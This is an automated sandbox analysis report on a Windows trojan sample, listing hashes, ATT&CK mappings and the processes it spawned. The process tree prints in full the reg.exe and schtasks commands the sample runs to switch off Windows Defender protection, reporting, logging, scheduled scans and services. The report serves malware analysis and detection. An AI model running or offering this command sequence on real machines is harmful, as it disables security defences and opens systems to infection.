a714c2806f81699ee34724b89f5a33c35ce8e1988c98492cd125ec7fae2932d4

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
22/05/2024, 19:16

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General

Target

6853ce9c7809878d2c43b55ab7bea3d9_JaffaCakes118.exe
Size

91KB
MD5

6853ce9c7809878d2c43b55ab7bea3d9
SHA1

1b5498e69666c89285474493b799324948c06c47
SHA256

a714c2806f81699ee34724b89f5a33c35ce8e1988c98492cd125ec7fae2932d4
SHA512

b917b2dddda9bd2bbb8f8cb0fde79fd8eb5416ea90c1fac5c08d97a29971dffe067ceb7bf54702eec7cc7ca9b0c81c0f28d128e7c85e68f338405396020fa407
SSDEEP

1536:Tr7ftfkS5g9YOms+gZcQipICdXkNDqLLZX9lItVGL++eIOlnToIfVwgl3X:TnFfHgTWmCRkGbKGLeNTBfVN

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 2880	2036	6853ce9c7809878d2c43b55ab7bea3d9_JaffaCakes118.exe	29
PID 2036 wrote to memory of 2880	2036	6853ce9c7809878d2c43b55ab7bea3d9_JaffaCakes118.exe	29
PID 2036 wrote to memory of 2880	2036	6853ce9c7809878d2c43b55ab7bea3d9_JaffaCakes118.exe	29
PID 2036 wrote to memory of 2880	2036	6853ce9c7809878d2c43b55ab7bea3d9_JaffaCakes118.exe	29
PID 2880 wrote to memory of 2912	2880	cmd.exe	30
PID 2880 wrote to memory of 2912	2880	cmd.exe	30
PID 2880 wrote to memory of 2912	2880	cmd.exe	30
PID 2880 wrote to memory of 2928	2880	cmd.exe	31
PID 2880 wrote to memory of 2928	2880	cmd.exe	31
PID 2880 wrote to memory of 2928	2880	cmd.exe	31
PID 2880 wrote to memory of 1924	2880	cmd.exe	32
PID 2880 wrote to memory of 1924	2880	cmd.exe	32
PID 2880 wrote to memory of 1924	2880	cmd.exe	32
PID 2880 wrote to memory of 1220	2880	cmd.exe	33
PID 2880 wrote to memory of 1220	2880	cmd.exe	33
PID 2880 wrote to memory of 1220	2880	cmd.exe	33
PID 2880 wrote to memory of 2580	2880	cmd.exe	34
PID 2880 wrote to memory of 2580	2880	cmd.exe	34
PID 2880 wrote to memory of 2580	2880	cmd.exe	34
PID 2880 wrote to memory of 2808	2880	cmd.exe	35
PID 2880 wrote to memory of 2808	2880	cmd.exe	35
PID 2880 wrote to memory of 2808	2880	cmd.exe	35
PID 2880 wrote to memory of 1332	2880	cmd.exe	36
PID 2880 wrote to memory of 1332	2880	cmd.exe	36
PID 2880 wrote to memory of 1332	2880	cmd.exe	36
PID 2880 wrote to memory of 1312	2880	cmd.exe	37
PID 2880 wrote to memory of 1312	2880	cmd.exe	37
PID 2880 wrote to memory of 1312	2880	cmd.exe	37
PID 2880 wrote to memory of 2804	2880	cmd.exe	38
PID 2880 wrote to memory of 2804	2880	cmd.exe	38
PID 2880 wrote to memory of 2804	2880	cmd.exe	38
PID 2880 wrote to memory of 2780	2880	cmd.exe	39
PID 2880 wrote to memory of 2780	2880	cmd.exe	39
PID 2880 wrote to memory of 2780	2880	cmd.exe	39
PID 2880 wrote to memory of 1140	2880	cmd.exe	40
PID 2880 wrote to memory of 1140	2880	cmd.exe	40
PID 2880 wrote to memory of 1140	2880	cmd.exe	40
PID 2880 wrote to memory of 3064	2880	cmd.exe	41
PID 2880 wrote to memory of 3064	2880	cmd.exe	41
PID 2880 wrote to memory of 3064	2880	cmd.exe	41
PID 2880 wrote to memory of 3060	2880	cmd.exe	42
PID 2880 wrote to memory of 3060	2880	cmd.exe	42
PID 2880 wrote to memory of 3060	2880	cmd.exe	42
PID 2880 wrote to memory of 2608	2880	cmd.exe	43
PID 2880 wrote to memory of 2608	2880	cmd.exe	43
PID 2880 wrote to memory of 2608	2880	cmd.exe	43
PID 2880 wrote to memory of 2364	2880	cmd.exe	44
PID 2880 wrote to memory of 2364	2880	cmd.exe	44
PID 2880 wrote to memory of 2364	2880	cmd.exe	44
PID 2880 wrote to memory of 2644	2880	cmd.exe	45
PID 2880 wrote to memory of 2644	2880	cmd.exe	45
PID 2880 wrote to memory of 2644	2880	cmd.exe	45
PID 2880 wrote to memory of 2700	2880	cmd.exe	46
PID 2880 wrote to memory of 2700	2880	cmd.exe	46
PID 2880 wrote to memory of 2700	2880	cmd.exe	46
PID 2880 wrote to memory of 2712	2880	cmd.exe	47
PID 2880 wrote to memory of 2712	2880	cmd.exe	47
PID 2880 wrote to memory of 2712	2880	cmd.exe	47
PID 2880 wrote to memory of 2732	2880	cmd.exe	48
PID 2880 wrote to memory of 2732	2880	cmd.exe	48
PID 2880 wrote to memory of 2732	2880	cmd.exe	48
PID 2880 wrote to memory of 2696	2880	cmd.exe	49
PID 2880 wrote to memory of 2696	2880	cmd.exe	49
PID 2880 wrote to memory of 2696	2880	cmd.exe	49

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6853ce9c7809878d2c43b55ab7bea3d9_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\6853ce9c7809878d2c43b55ab7bea3d9_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\31BA.tmp\31BB.tmp\31BC.bat C:\Users\Admin\AppData\Local\Temp\6853ce9c7809878d2c43b55ab7bea3d9_JaffaCakes118.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:1924
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:1220
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2808
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1332
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:1140
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    PID:3060
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:2364
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:2644
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:2700
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:2712
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:2732
- - C:\Windows\system32\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:2696
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    PID:2648
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:2604
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2632
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2340
- - C:\Windows\system32\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2164
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\31BA.tmp\31BB.tmp\31BC.bat

Filesize
3KB

MD5
8760b15c6d12ecc70594fc8db876c68c

SHA1
b1d47a27bf45db9955f07c773a5a334e3b528a97

SHA256
9a3d9f84626d1443b0e1fc1afe22cc4045c20714b98838e94542991039cf8463

SHA512
0463204ebabf6465ba3be44b31dc235ba240f1899b41336655a3f361932b8225326d8ab7c53130d4ded9412193d5967f805221212b964d6a54492d0f2c331dee

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads